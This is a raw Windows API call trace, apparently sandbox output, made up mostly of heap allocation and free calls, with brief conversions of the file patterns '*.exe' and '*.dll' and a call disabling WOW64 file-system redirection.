RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc2d0 [0164.111] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc2d0) returned 1 [0164.111] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0164.112] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x420048) returned 1 [0164.112] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7d8648, lpbSaclPresent=0x41fb64, pSacl=0x41fbb8, lpbSaclDefaulted=0x41fb64 | out: lpbSaclPresent=0x41fb64, pSacl=0x41fbb8, lpbSaclDefaulted=0x41fb64) returned 1 [0164.112] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc2d0 [0164.112] CreateEventA (lpEventAttributes=0x41fbac, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0164.112] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc2d0) returned 1 [0164.112] GetLastError () returned 0x0 [0164.112] LocalFree (hMem=0x7d8648) returned 0x0 [0164.112] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2800) returned 0x420048 [0164.112] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbb80 [0164.112] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc2d0 [0164.113] Wow64DisableWow64FsRedirection (in: OldValue=0x41fbe0 | out: OldValue=0x41fbe0*=0x0) returned 1 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2800) returned 0x422850 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd5e8 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2d8 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1f8 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1f8) returned 1 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2d8) returned 1 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x422850) returned 1 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2800) returned 0x422850 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd5e8 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2d8 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1f8 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2c8 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd600 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2b8 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1b0 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2a8 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc168 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1f8) returned 1 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2d8) returned 1 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2c8) returned 1 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.113] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.113] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd5e8 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2c8 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2d8 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1f8 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1b0) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2b8) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc168) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2a8) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd600) returned 1 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd600 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2a8 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc168 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2b8 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1b0 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2c8) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1f8) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2d8) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd5e8 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2d8 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1f8 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2c8 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc168) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2a8) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1b0) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2b8) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd600) returned 1 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x422850) returned 1 [0164.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dd9d0 [0164.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc1f8, cbMultiByte=5, lpWideCharStr=0x1dd9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dda58 [0164.114] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd9d0) returned 1 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd600 [0164.114] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2b8 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dd9d0 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dda58) returned 1 [0164.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dda58 [0164.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc288, cbMultiByte=5, lpWideCharStr=0x1dda58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddae0 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dda58) returned 1 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2a8 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dda58 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddae0) returned 1 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1f8) returned 1 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2d8) returned 1 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2c8) returned 1 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2800) returned 0x422850 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd5e8 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2c8 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1f8 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2d8 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1b0 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd298 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc168 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd288 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x20) returned 0x1dbc08 [0164.115] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.115] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd278 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd268 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd258 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x20) returned 0x425058 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd248 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5e8 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd238 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc630 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd228 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc678 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd218 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc6c0 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd208 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc708 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd1e8 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc750 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd1f8 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc798 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1f8) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2c8) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1b0) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2d8) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc168) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd298) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd288) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd278) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd268) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd258) returned 1 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbc08) returned 1 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.116] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.116] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd5e8 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd258 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd268 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd278 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd288 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x20) returned 0x1dbc08 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd298 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc168 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2d8 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1b0 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2c8 [0164.117] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1f8 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5e8) returned 1 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd248) returned 1 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc630) returned 1 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd238) returned 1 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc678) returned 1 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd228) returned 1 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc6c0) returned 1 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd218) returned 1 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc708) returned 1 [0164.117] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd208) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc750) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd1e8) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc798) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd1f8) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x425058) returned 1 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x20) returned 0x425058 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd1f8 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc798 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd1e8 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc750 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd208 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc708 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd218 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc6c0 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd228 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc678 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd238 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc630 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd248 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5e8 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd258) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd268) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd278) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd288) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc168) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd298) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1b0) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2d8) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1f8) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2c8) returned 1 [0164.118] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbc08) returned 1 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x20) returned 0x1dbc08 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2c8 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1f8 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2d8 [0164.118] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1b0 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd298 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc168 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd288 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd278 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd268 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd258 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc798) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd1f8) returned 1 [0164.119] RtlFreeHeap 